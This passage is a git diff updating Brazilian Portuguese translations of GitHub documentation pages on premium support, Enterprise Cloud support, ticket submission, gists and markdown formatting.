+  - Acesso a conteúdo premium
+  - Verificação de integridade agendadas
+  - Serviços gerenciados
 
 {% data reusables.support.about-premium-plans %}
 
@@ -42,32 +42,32 @@ shortTitle: GitHub Premium Support
 
 {% data reusables.support.contacting-premium-support %}
 
-## Hours of operation
+## Horas de operação
 
-{% data variables.contact.premium_support %} is available 24 hours a day, 7 days per week.
+O {% data variables.contact.premium_support %} está disponível 24 horas por dia, 7 dias por semana.
 
 {% data reusables.support.service-level-agreement-response-times %}
 
-## Assigning a priority to a support ticket
+## Atribuindo uma prioridade a um tíquete de suporte
 
-When you contact {% data variables.contact.premium_support %}, you can choose one of four priorities for the ticket: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}.
+Ao entrar em contato com {% data variables.contact.premium_support %}, você pode escolher uma das quatro prioridades para o tíquete: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %} ou {% data variables.product.support_ticket_priority_low %}.
 
 {% data reusables.support.github-can-modify-ticket-priority %}
 
 {% data reusables.support.ghec-premium-priorities %}
 
-## Resolving and closing support tickets
+## Resolução e fechamento de tíquete de suporte
 
-{% data variables.contact.premium_support %} may consider a ticket solved after providing an explanation, recommendation, usage instructions, or workaround instructions,
+O {% data variables.contact.premium_support %} pode considerar um tíquete resolvido após fornecer uma explicação, recomendação, instruções de uso ou instruções de solução alternativa.
 
-If you use a custom or unsupported plug-in, module, or custom code, {% data variables.contact.premium_support %} may ask you to remove the unsupported plug-in, module, or code while attempting to resolve the issue. If the problem is fixed when the unsupported plug-in, module, or custom code is removed, {% data variables.contact.premium_support %} may consider the ticket solved.
+Se você usar um plugin, módulo ou código personalizado incompatível, o {% data variables.contact.premium_support %} solicitará a remoção desse item incompatível durante a tentativa de resolução do problema. Se o problema for corrigido quando o plugin, módulo ou código personalizado incompatível for removido, o {% data variables.contact.premium_support %} poderá considerar o tíquete resolvido.
 
-{% data variables.contact.premium_support %} may close tickets if they're outside the scope of support or if multiple attempts to contact you have gone unanswered. If {% data variables.contact.premium_support %} closes a ticket due to lack of response, you can request that {% data variables.contact.premium_support %} reopen the ticket.
+O {% data variables.contact.premium_support %} poderá encerrar tíquetes se estiverem fora do escopo de suporte ou se várias tentativas de entrar em contato com você não tiverem sido bem-sucedidas. Se {% data variables.contact.premium_support %} encerrar um tíquete por falta de resposta, você poderá solicitar que {% data variables.contact.premium_support %} reabra o tíquete.
 
 {% data reusables.support.receiving-credits %}
 
 {% data reusables.support.accessing-premium-content %}
 
-## Further reading
+## Leia mais
 
-- "[Submitting a ticket](/articles/submitting-a-ticket)"
+- "[Enviar um tíquete](/articles/submitting-a-ticket)"
diff --git a/translations/pt-BR/content/github/working-with-github-support/github-enterprise-cloud-support.md b/translations/pt-BR/content/github/working-with-github-support/github-enterprise-cloud-support.md
index 972f708b78..fcdbcbb4e3 100644
--- a/translations/pt-BR/content/github/working-with-github-support/github-enterprise-cloud-support.md
+++ b/translations/pt-BR/content/github/working-with-github-support/github-enterprise-cloud-support.md
@@ -1,10 +1,10 @@
 ---
-title: GitHub Enterprise Cloud support
+title: Suporte do GitHub Enterprise Cloud
 redirect_from:
   - /articles/business-plan-support
   - /articles/github-business-cloud-support
   - /articles/github-enterprise-cloud-support
-intro: '{% data variables.product.prodname_ghe_cloud %} includes a target eight-hour response time for priority support requests, Monday to Friday in your local time zone.'
+intro: 'O {% data variables.product.prodname_ghe_cloud %} inclui um tempo de resposta alvo de oito horas para solicitações de suporte prioritárias, de segunda a sexta-feira, em seu fuso horário local.'
 versions:
   fpt: '*'
   ghec: '*'
@@ -15,40 +15,40 @@ shortTitle: GitHub Enterprise Cloud
 
 {% note %}
 
-**Note:** {% data variables.product.prodname_ghe_cloud %} customers can sign up for {% data variables.contact.premium_support %}. For more information, see "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_cloud %}](/articles/about-github-premium-support-for-github-enterprise-cloud)."
+**Observação: ** clientes {% data variables.product.prodname_ghe_cloud %} podem assinar o {% data variables.contact.premium_support %}. Para obter mais informações, consulte "[Sobre o {% data variables.contact.premium_support %} para o {% data variables.product.prodname_ghe_cloud %}](/articles/about-github-premium-support-for-github-enterprise-cloud)".
 
 {% endnote %}
 
 {% data reusables.support.zendesk-old-tickets %}
 
-You can submit priority questions if you have purchased {% data variables.product.prodname_ghe_cloud %} or if you're a member, outside collaborator, or billing manager of a {% data variables.product.prodname_dotcom %} organization currently subscribed to {% data variables.product.prodname_ghe_cloud %}.
+É possível enviar perguntas prioritárias se você tiver comprado o {% data variables.product.prodname_ghe_cloud %} ou se for integrante, colaborador externo ou gerente de cobrança de uma organização {% data variables.product.prodname_dotcom %} atualmente assinante do {% data variables.product.prodname_ghe_cloud %}.
 
-Questions that qualify for priority responses:
-- Include questions related to your inability to access or use {% data variables.product.prodname_dotcom %}'s core version control functionality
-- Include situations related to your account security
-- Do not include peripheral services and features, such as questions about Gists, {% data variables.product.prodname_pages %}, or email notifications
-- Include questions only about organizations currently using {% data variables.product.prodname_ghe_cloud %}
+Perguntas qualificadas para respostas prioritárias:
+- Incluem perguntas relacionadas à sua incapacidade de usar ou acessar a funcionalidade de controle da versão principal do {% data variables.product.prodname_dotcom %}
+- Incluem situações relacionadas com a segurança de sua conta
+- Não incluem serviços e recursos periféricos, como perguntas sobre Gists, {% data variables.product.prodname_pages %} ou notificações de e-mail
+- Incluem perguntas somente sobre organizações que utilizam o {% data variables.product.prodname_ghe_cloud %} atualmente
 
-To qualify for a priority response, you must:
-- Submit your question to [{% data variables.contact.enterprise_support %}](https://support.github.com/contact?tags=docs-generic) from a verified email address that's associated with an organization currently using {% data variables.product.prodname_ghe_cloud %}
-- Submit a new support ticket for each individual priority situation
-- Submit your question from Monday-Friday in your local time zone
-- Understand that the response to a priority question will be received via email
-- Cooperate with {% data variables.contact.github_support %} and provide all of the information that {% data variables.contact.github_support %} asks for
+Para se qualificar para uma resposta prioritária, você deve:
+- Enviar sua pergunta para [{% data variables.contact.enterprise_support %}](https://support.github.com/contact?tags=docs-generic) a partir de um endereço de e-mail verificado associado a uma organização que atualmente usa o {% data variables.product.prodname_ghe_cloud %}
+- Enviar um novo tíquete de suporte para cada situação prioritária individual
+- Enviar a pergunta de segunda a sexta-feira, em seu fuso horário local
+- Entender que a resposta a uma pergunta prioritária será recebida por e-mail
+- Cooperar com o {% data variables.contact.github_support %} e fornecer todas as informações solicitadas pelo {% data variables.contact.github_support %}
 
 {% tip %}
 
-**Tip:** Questions do not qualify for a priority response if they are submitted on a local holiday in your jurisdiction.
+**Dica:** as perguntas não serão qualificadas para uma resposta prioritária se forem enviadas em um feriado local em sua jurisdição.
 
 {% endtip %}
 
-The target eight-hour response time:
-- Begins when {% data variables.contact.github_support %} receives your qualifying question
-- Does not begin until you have provided sufficient information to answer the question, unless you specifically indicate that you do not have sufficient information
-- Does not apply on weekends in your local timezone or local holidays in your jurisdiction
+O tempo alvo de oito horas para respostas:
+- Começa quando o {% data variables.contact.github_support %} recebe sua pergunta qualificada
+- Não inicia até que você tenha fornecido informações suficientes para a pergunta ser respondida, a menos que você indique especificamente que não tem informações suficientes
+- Não é válido para os finais de semana em seu fuso horário local ou feriados locais em sua jurisdição
 
 {% note %}
 
-**Note:** {% data variables.contact.github_support %} does not guarantee a resolution to your priority question. {% data variables.contact.github_support %} may escalate or deescalate issues to or from priority question status, based on our reasonable evaluation of the information you give to us.
+**Observação:** o {% data variables.contact.github_support %} não garante a resolução de sua pergunta prioritária. O {% data variables.contact.github_support %} pode escalar ou tirar os problemas do status de perguntas prioritárias com base em uma avaliação sensata sobre as informações que você forneceu.
 
 {% endnote %}
diff --git a/translations/pt-BR/content/github/working-with-github-support/submitting-a-ticket.md b/translations/pt-BR/content/github/working-with-github-support/submitting-a-ticket.md
index ee1785cc2a..4eeeb8422f 100644
--- a/translations/pt-BR/content/github/working-with-github-support/submitting-a-ticket.md
+++ b/translations/pt-BR/content/github/working-with-github-support/submitting-a-ticket.md
@@ -1,6 +1,6 @@
 ---
-title: Submitting a ticket
-intro: 'You can submit a ticket to {% data variables.contact.github_support %} using the support portal.'
+title: Enviar um tíquete
+intro: 'Você pode enviar um tíquete para o {% data variables.contact.github_support %} usando o portal de suporte.'
 redirect_from:
   - /articles/submitting-a-ticket
 versions:
@@ -9,34 +9,30 @@ versions:
 topics:
   - Jobs
 ---
-## About ticket submission
-If your account uses a paid {% data variables.product.prodname_dotcom %} product, you can directly contact {% data variables.contact.github_support %}. If your account uses {% data variables.product.prodname_free_user %} for user accounts and organizations, you can use contact {% data variables.contact.github_support %} to report account, security, and abuse issues. For more information, see "[About GitHub Support](/github/working-with-github-support/about-github-support)."
+
+## Sobre o envio do ticket
+Se a sua conta usa um produto {% data variables.product.prodname_dotcom %} pago, você pode entrar em contato diretamente com {% data variables.contact.github_support %}. Se a sua conta usar {% data variables.product.prodname_free_user %} para contas de usuário e organizações, você pode usar o contato {% data variables.contact.github_support %} para relatar contas, segurança e problemas de abuso. Para obter mais informações, consulte "[Sobre GitHub Support](/github/working-with-github-support/about-github-support)".
 
 {% data reusables.enterprise-accounts.support-entitlements %}
 
-If you do not have an enterprise account, please use the {% data variables.contact.enterprise_portal %} to submit tickets. For more information about enterprise accounts, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)."
+Se você não tem uma conta corporativa, use {% data variables.contact.enterprise_portal %} para enviar tíquetes. Para obter mais informações sobre contas corporativas, consulte "[Sobre contas corporativas](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)".
 
-## Submitting a ticket using the {% data variables.contact.support_portal %}
+## Enviar um tíquete usando o {% data variables.contact.support_portal %}
 
 {% data reusables.support.zendesk-old-tickets %}
 
-1. Navigate to the {% data variables.contact.contact_support_portal %}.
-2. Select the **Account or organization** drop-down menu and click the name of the account, organization, or enterprise your ticket is regarding.
-![Account field](/assets/images/help/support/account-field.png)
-2. Select the **From** drop-down menu and click the email address you'd like {% data variables.contact.github_support %} to contact.
-![Email field](/assets/images/help/support/from-field.png)
-4. Under "Subject", type a descriptive title for the issue you're having.
-![Subject field](/assets/images/help/support/subject-field.png)
-5. Under "How can we help", provide any additional information that will help the Support team troubleshoot the problem. Helpful information may include:
-  ![How can we help field](/assets/images/help/support/how-can-we-help-field.png)
-    - Steps to reproduce the issue
-    - Any special circumstances surrounding the discovery of the issue (for example, the first occurrence or occurrence after a specific event, frequency of occurrence, business impact of the problem, and suggested urgency)
-    - Exact wording of error messages
-6. Optionally, attach files by dragging and dropping, uploading, or pasting from the clipboard.
-7. Click **Send request**.
-![Send request button](/assets/images/help/support/send-request-button.png)
+1. Navegue até o {% data variables.contact.contact_support_portal %}.
+2. Selecione o menu suspenso **Conta ou organização** e clique no nome da conta, organização ou empresa ao qual o seu ticket se refere. ![Campo de conta](/assets/images/help/support/account-field.png)
+2. Selecione o menu suspenso **de** e clique no endereço de e-mail que você deseja que {% data variables.contact.github_support %} entre em contato. ![Campo Email (E-mail)](/assets/images/help/support/from-field.png)
+4. Em "Subject" (Assunto), insira um título descritivo para o problema que está ocorrendo. ![Campo Subject (Assunto)](/assets/images/help/support/subject-field.png)
+5. Em "How can we help" (Como podemos ajudar), insira as informações adicionais que ajudarão a equipe de suporte a resolver o problema. As informações úteis podem incluir: ![Campo How can we help (Como podemos ajudar)](/assets/images/help/support/how-can-we-help-field.png)
+    - Etapas para reproduzir o problema
+    - Quaisquer circunstâncias especiais relacionadas à descoberta do problema (como a primeira ocorrência ou ocorrência após um evento específico, frequência de ocorrência, impacto comercial do problema e urgência sugerida)
+    - Redação exata das mensagens de erro
+6. Opcionalmente, anexe arquivos arrastando e soltando, fazendo upload ou colando da área de transferência.
+7. Clique em **Send request** (Enviar solicitação). ![Botão Send request (Enviar solicitação)](/assets/images/help/support/send-request-button.png)
 
-## Further reading
-- "[{% data variables.product.prodname_dotcom %}'s products](/github/getting-started-with-github/githubs-products)"
-- "[About {% data variables.contact.github_support %}](/articles/about-github-support)"
-- "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_cloud %}](/articles/about-github-premium-support-for-github-enterprise-cloud)."
+## Leia mais
+- "[Produtos do {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/githubs-products)"
+- "[Sobre o {% data variables.contact.github_support %}](/articles/about-github-support)"
+- "[Sobre o {% data variables.contact.premium_support %} para {% data variables.product.prodname_ghe_cloud %}](/articles/about-github-premium-support-for-github-enterprise-cloud)."
diff --git a/translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md b/translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md
index d52fb36e48..1f5c3658db 100644
--- a/translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md
+++ b/translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md
@@ -1,6 +1,6 @@
 ---
-title: Creating gists
-intro: 'You can create two kinds of gists: {% ifversion ghae %}internal{% else %}public{% endif %} and secret. Create {% ifversion ghae %}an internal{% else %}a public{% endif %} gist if you''re ready to share your ideas with {% ifversion ghae %}enterprise members{% else %}the world{% endif %} or a secret gist if you''re not.'
+title: Criar gists
+intro: 'Você pode criar dois tipos de gists: {% ifversion ghae %}internos{% else %}públicos{% endif %} e secretos. Crie um gist {% ifversion ghae %}interno{% else %}um público{% endif %} se você estiver pronto para compartilhar suas ideias com {% ifversion ghae %}os integrantes corporativos{% else %}o mundo{% endif %} ou um gist secreto se você não estiver pronto.'
 permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}'
 redirect_from:
   - /articles/about-gists
@@ -14,71 +14,68 @@ versions:
   ghae: '*'
   ghec: '*'
 ---
-## About gists
 
-Every gist is a Git repository, which means that it can be forked and cloned. {% ifversion not ghae %}If you are signed in to {% data variables.product.product_name %} when{% else %}When{% endif %} you create a gist, the gist will be associated with your account and you will see it in your list of gists when you navigate to your {% data variables.gists.gist_homepage %}.
+## Sobre gists
 
-Gists can be {% ifversion ghae %}internal{% else %}public{% endif %} or secret. {% ifversion ghae %}Internal{% else %}Public{% endif %} gists show up in {% data variables.gists.discover_url %}, where {% ifversion ghae %}enterprise members{% else %}people{% endif %} can browse new gists as they're created. They're also searchable, so you can use them if you'd like other people to find and see your work.
+Cada gist é um repositório Git, o que significa que ele pode ser bifurcado e clonado. {% ifversion not ghae %}Se você estiver conectado em {% data variables.product.product_name %} quando{% else %}Quando{% endif %} você criar um gist, este será associado à sua conta e você irá vê-lo na sua lista de gists ao acessar o seu {% data variables.gists.gist_homepage %}.
 
-Secret gists don't show up in {% data variables.gists.discover_url %} and are not searchable. Secret gists aren't private. If you send the URL of a secret gist to {% ifversion ghae %}another enterprise member{% else %}a friend{% endif %}, they'll be able to see it. However, if {% ifversion ghae %}any other enterprise member{% else %}someone you don't know{% endif %} discovers the URL, they'll also be able to see your gist. If you need to keep your code away from prying eyes, you may want to [create a private repository](/articles/creating-a-new-repository) instead.
+Os gists podem ser {% ifversion ghae %}internos{% else %}públicos{% endif %} ou segredo. Gists{% ifversion ghae %}Internos{% else %}Públicos{% endif %} aparecem em {% data variables.gists.discover_url %}, em que os {% ifversion ghae %}integrantes da empresa{% else %}pessoas{% endif %} podem pesquisar novos gists criados. Eles também são pesquisáveis, de modo que é possível usá-los se desejar que outras pessoas encontrem e vejam seu trabalho.
+
+Os gists secretos não aparecem em {% data variables.gists.discover_url %} e não são pesquisáveis. Os grupos de segredos não são privados. Se você enviar a URL de um gist do segredo para {% ifversion ghae %}outro integrante da empresa{% else %}um amigo{% endif %}, eles poderão vê-la. No entanto, se {% ifversion ghae %}qualquer outro integrante corporativo{% else %}alguém que você não conhece{% endif %} descobrir a URL, essa pessoa também poderá ver o seu gist. Se precisar manter seu código longe de olhares curiosos, pode ser mais conveniente [criar um repositório privado](/articles/creating-a-new-repository).
 
 {% data reusables.gist.cannot-convert-public-gists-to-secret %}
 
 {% ifversion ghes %}
 
-If your site administrator has disabled private mode, you can also use anonymous gists, which can be public or secret.
+Se o administrador do site tiver desabilitado o modo privado, você também poderá usar gists anônimos, que podem ser públicos ou secretos.
 
 {% data reusables.gist.anonymous-gists-cannot-be-deleted %}
 
 {% endif %}
 
-You'll receive a notification when:
-- You are the author of a gist.
-- Someone mentions you in a gist.
-- You subscribe to a gist, by clicking **Subscribe** at the top of any gist.
+Você receberá uma notificação quando:
+- Você for o autor de um gist.
+- Alguém mencionar você em um gist.
+- Você assinar um gist, clicando em **Assinar** na parte superior de qualquer gist.
 
 {% ifversion fpt or ghes or ghec %}
 
-You can pin gists to your profile so other people can see them easily. For more information, see "[Pinning items to your profile](/articles/pinning-items-to-your-profile)."
+Você pode fixar os gists no seu perfil para que outras pessoas possam vê-los facilmente. Para obter mais informações, consulte "[Fixar itens ao seu perfil](/articles/pinning-items-to-your-profile)".
 
 {% endif %}
 
-You can discover {% ifversion ghae %}internal{% else %}public{% endif %} gists others have created by going to the {% data variables.gists.gist_homepage %} and clicking **All Gists**. This will take you to a page of all gists sorted and displayed by time of creation or update. You can also search gists by language with {% data variables.gists.gist_search_url %}. Gist search uses the same search syntax as [code search](/search-github/searching-on-github/searching-code).
+Você pode descobrir gists {% ifversion ghae %}internos{% else %}públicos{% endif %} que outros criaram, acessando {% data variables.gists.gist_homepage %} e clicando em **Todos os Gists**. Isso levará você a uma página com todos os gists classificados e exibidos por data de criação ou atualização. Também é possível pesquisar gists por linguagem com {% data variables.gists.gist_search_url %}. A pesquisa de gist usa a mesma sintaxe de pesquisa que a [pesquisa de código](/search-github/searching-on-github/searching-code).
 
-Since gists are Git repositories, you can view their full commit history, complete with diffs. You can also fork or clone gists. For more information, see ["Forking and cloning gists"](/articles/forking-and-cloning-gists).
+Uma vez que os gists são repositórios Git, você pode exibir o histórico completo de commits deles, com diffs. Também é possível bifurcar ou clonar gists. Para obter mais informações, consulte ["Bifurcar e clonar gists"](/articles/forking-and-cloning-gists).
 
-You can download a ZIP file of a gist by clicking the **Download ZIP** button at the top of the gist. You can embed a gist in any text field that supports Javascript, such as a blog post. To get the embed code, click the clipboard icon next to the **Embed** URL of a gist. To embed a specific gist file, append the **Embed** URL with `?file=FILENAME`.
+Você pode baixar um arquivo ZIP de um gist clicando no botão **Download ZIP** (Baixar ZIP) no topo do gist. É possível inserir um gist em qualquer campo de texto que aceite Javascript, como uma postagem de blog. Para inserir código, clique no ícone de área de transferência ao lado de **Embed** URL de um gist. Para inserir um arquivo de gist específico, acrescente **Embed** URL com `?file=FILENAME`.
 
 {% ifversion fpt or ghec %}
 
-Gist supports mapping GeoJSON files. These maps are displayed in embedded gists, so you can easily share and embed maps. For more information, see "[Working with non-code files](/repositories/working-with-files/using-files/working-with-non-code-files#mapping-geojson-files-on-github)."
+O gist permite mapeamento de arquivos geoJSON. Esses mapas são exibidos em gists inseridos, de modo que você pode compartilhar e inserir mapas facilmente. Para obter mais informações, consulte "[Trabalhando com arquivos sem código](/repositories/working-with-files/using-files/working-with-non-code-files#mapping-geojson-files-on-github)".
 
 {% endif %}
 
-## Creating a gist
+## Criar um gist
 
-Follow the steps below to create a gist.
+Siga os passos abaixo para criar um gist.
 
 {% ifversion fpt or ghes or ghae or ghec %}
 {% note %}
 
-You can also create a gist using the {% data variables.product.prodname_cli %}. For more information, see "[`gh gist create`](https://cli.github.com/manual/gh_gist_create)" in the {% data variables.product.prodname_cli %} documentation.
+Você também pode criar um gist usando o {% data variables.product.prodname_cli %}. Para obter mais informações, consulte "[`gh gist cria`](https://cli.github.com/manual/gh_gist_create)" na documentação do {% data variables.product.prodname_cli %}.
 
-Alternatively, you can drag and drop a text file from your desktop directly into the editor.
+Como alternativa, você pode arrastar e soltar um arquivo de texto da sua área de trabalho diretamente no editor.
 
 {% endnote %}
 {% endif %}
 
-1. Sign in to {% data variables.product.product_name %}.
-2. Navigate to your {% data variables.gists.gist_homepage %}.
-3. Type an optional description and name for your gist.
-![Gist name description](/assets/images/help/gist/gist_name_description.png)
+1. Entre no {% data variables.product.product_name %}.
+2. Navegue até sua {% data variables.gists.gist_homepage %}.
+3. Digite uma descrição opcional e o nome do seu gist. ![Descrição do nome do gist](/assets/images/help/gist/gist_name_description.png)
 
-4. Type the text of your gist into the gist text box. 
-![Gist text box](/assets/images/help/gist/gist_text_box.png)
+4. Digite o texto do seu gist na caixa de texto do gist. ![Caixa de texto do gist](/assets/images/help/gist/gist_text_box.png)
 
-5. Optionally, to create {% ifversion ghae %}an internal{% else %}a public{% endif %} gist, click {% octicon "triangle-down" aria-label="The downwards triangle icon" %}, then click **Create {% ifversion ghae %}internal{% else %}public{% endif %} gist**. 
-![Drop-down menu to select gist visibility]{% ifversion ghae %}(/assets/images/help/gist/gist-visibility-drop-down-ae.png){% else %}(/assets/images/help/gist/gist-visibility-drop-down.png){% endif %}
+5. Opcionalmente, para criar um gist {% ifversion ghae %}interno{% else %}público{% endif %}, clique em {% octicon "triangle-down" aria-label="The downwards triangle icon" %} e, em seguida, clique em **Criar {% ifversion ghae %}interno{% else %}público{% endif %} gist**. ![Menu suspenso para selecionar a visibilidade do gist]{% ifversion ghae %}(/assets/images/help/gist/gist-visibility-drop-down-ae.png){% else %}(/assets/images/help/gist/gist-visibility-drop-down.png){% endif %}
 
-6. Click **Create secret Gist** or **Create {% ifversion ghae %}internal{% else %}public{% endif %} gist**. 
-  ![Button to create gist](/assets/images/help/gist/create-secret-gist-button.png)
+6. Clique em **Criar Gist secreto** ou **Criar gist{% ifversion ghae %}interno{% else %}público{% endif %}**. ![Botão para criar gist](/assets/images/help/gist/create-secret-gist-button.png)
diff --git a/translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md b/translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md
index 21c3bd883f..0d7d85fd74 100644
--- a/translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md
+++ b/translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md
@@ -1,6 +1,6 @@
 ---
-title: Forking and cloning gists
-intro: 'Gists are actually Git repositories, which means that you can fork or clone any gist, even if you aren''t the original author. You can also view a gist''s full commit history, including diffs.'
+title: Bifurcar e clonar gists
+intro: 'Gists são repositórios Git. Isso significa que é posível bifurcar ou clonar qualquer gist, mesmo não sendo o autor original. Também é possível visualizar o histórico completo de commits do gist, inclusive os diffs.'
 permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}'
 redirect_from:
   - /articles/forking-and-cloning-gists
@@ -11,24 +11,25 @@ versions:
   ghae: '*'
   ghec: '*'
 ---
-## Forking gists
 
-Each gist indicates which forks have activity, making it easy to find interesting changes from others.
+## Bifurcar gists
 
-![Gist forks](/assets/images/help/gist/gist_forks.png)
+Cada gist indica quais bifurcações têm atividade, facilitando o processo de encontrar mudanças interessantes de outros.
 
-## Cloning gists
+![Bifurcações gist](/assets/images/help/gist/gist_forks.png)
 
-If you want to make local changes to a gist and push them up to the web, you can clone a gist and make commits the same as you would with any Git repository. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+## Clonar gists
 
-![Gist clone button](/assets/images/help/gist/gist_clone_btn.png)
+Para fazer modificações locais em um gist e fazer o push delas na Web, é possível clonar um gist e fazer commits, assim como em qualquer repositório Git. Para obter mais informações, consulte "[Clonar um repositório](/articles/cloning-a-repository)".
 
-## Viewing gist commit history
+![Botão gist clone (clonar)](/assets/images/help/gist/gist_clone_btn.png)
 
-To view a gist's full commit history, click the "Revisions" tab at the top of the gist.
+## Visualizar o histórico de commits do gist
 
-![Gist revisions tab](/assets/images/help/gist/gist_revisions_tab.png)
+Para visualizar o histórico completo de commit de um gist, clique na aba "Revisões" na parte superior do gist.
 
-You will see a full commit history for the gist with diffs.
+![Aba gist revisions (revisões)](/assets/images/help/gist/gist_revisions_tab.png)
 
-![Gist revisions page](/assets/images/help/gist/gist_history.png)
+Você verá o histórico completo do gist com os diffs.
+
+![Página gist revisions (revisões)](/assets/images/help/gist/gist_history.png)
diff --git a/translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md b/translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md
index cbc1fe7c11..74e095762c 100644
--- a/translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md
+++ b/translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md
@@ -1,5 +1,5 @@
 ---
-title: Editing and sharing content with gists
+title: Editar e compartilhar conteúdo com gists
 intro: ''
 redirect_from:
   - /categories/23/articles
@@ -13,6 +13,6 @@ versions:
 children:
   - /creating-gists
   - /forking-and-cloning-gists
-shortTitle: Share content with gists
+shortTitle: Compartilhar conteúdo com gists
 ---
 
diff --git a/translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md b/translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md
index f9a0195100..33229ee6b0 100644
--- a/translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md
+++ b/translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: About writing and formatting on GitHub
-intro: GitHub combines a syntax for formatting text called GitHub Flavored Markdown with a few unique writing features.
+title: Sobre gravação e formatação no GitHub
+intro: O GitHub combina uma sintaxe para formatar texto chamada markdown em estilo GitHub com alguns recursos de escrita exclusivos.
 redirect_from:
   - /articles/about-writing-and-formatting-on-github
   - /github/writing-on-github/about-writing-and-formatting-on-github
@@ -9,36 +9,36 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Write & format on GitHub
+shortTitle: Escrever & formatar no GitHub
 ---
-[Markdown](http://daringfireball.net/projects/markdown/) is an easy-to-read, easy-to-write syntax for formatting plain text.
 
-We've added some custom functionality to create {% data variables.product.prodname_dotcom %} Flavored Markdown, used to format prose and code across our site.
+[Markdown](http://daringfireball.net/projects/markdown/) é uma sintaxe de leitura e gravação fáceis para formatação de texto sem formatação.
 
-You can also interact with other users in pull requests and issues using features like [@mentions](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams), [issue and PR references](/articles/basic-writing-and-formatting-syntax/#referencing-issues-and-pull-requests), and [emoji](/articles/basic-writing-and-formatting-syntax/#using-emoji).
+Adicionamos algumas funcionalidades personalizadas para criar o markdown em estilo {% data variables.product.prodname_dotcom %}, usadas para formatar prosa e código em nosso site.
 
-## Text formatting toolbar
+Você também pode interagir com outros usuários em pull requests e problemas usando recursos como [@menções](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams), [referências a problemas e pull request](/articles/basic-writing-and-formatting-syntax/#referencing-issues-and-pull-requests) e [emoji](/articles/basic-writing-and-formatting-syntax/#using-emoji).
 
-Every comment field on {% data variables.product.product_name %} contains a text formatting toolbar, allowing you to format your text without learning Markdown syntax. In addition to Markdown formatting like bold and italic styles and creating headers, links, and lists, the toolbar includes {% data variables.product.product_name %}-specific features such as @mentions, task lists, and links to issues and pull requests.
+## Barra de ferramentas de formatação de texto
+
+Cada campo de comentário no {% data variables.product.product_name %} contém uma barra de ferramentas de formatação de texto, permitindo que você formate texto sem precisar aprender a sintaxe markdown. Além da formatação markdown, como os estilos negrito e itálico e criação de headers, links e listas, a barra de ferramentas inclui recursos específicos do {% data variables.product.product_name %}, como @menções, listas de tarefas e links para problemas e pull requests.
 
 {% if fixed-width-font-gfm-fields %}
 
-## Enabling fixed-width fonts in the editor
- 
-You can enable a fixed-width font in every comment field on {% data variables.product.product_name %}. Each character in a fixed-width, or monospace, font occupies the same horizontal space which can make it easier to edit advanced Markdown structures such as tables and code snippets.
+## Habilitando fontes de largura fixa no editor
 
-![Screenshot showing the {% data variables.product.product_name %} comment field with fixed-width fonts enabled](/assets/images/help/writing/fixed-width-example.png)
+Você pode habilitar uma fonte de largura fixa em cada campo de comentário em {% data variables.product.product_name %}. Each character in a fixed-width, or monospace, font occupies the same horizontal space which can make it easier to edit advanced Markdown structures such as tables and code snippets.
+
+![Captura de tela que mostra o campo comentário de {% data variables.product.product_name %} com as fontes de largura fixa habilitadas](/assets/images/help/writing/fixed-width-example.png)
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.appearance-settings %}
-1. Under "Markdown editor font preference", select **Use a fixed-width (monospace) font when editing Markdown**.
-  ![Screenshot showing the {% data variables.product.product_name %} comment field with fixed width fonts enabled](/assets/images/help/writing/enable-fixed-width.png)
+1. Em "Preferência do editor Markdown, selecione **Usar uma fonte de largura fixa (monospace) ao editar o Markdown**. ![Captura de tela que mostra o campo comentário de {% data variables.product.product_name %} com as fontes de largura fixa habilitadas](/assets/images/help/writing/enable-fixed-width.png)
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/)
-- "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)"
-- "[Working with advanced formatting](/articles/working-with-advanced-formatting)"
-- "[Mastering Markdown](https://guides.github.com/features/mastering-markdown/)"
+- [Especificações de markdown em estilo {% data variables.product.prodname_dotcom %}](https://github.github.com/gfm/)
+- "[Sintaxe básica de gravação e formatação](/articles/basic-writing-and-formatting-syntax)"
+- "[Trabalhar com formatação avançada](/articles/working-with-advanced-formatting)"
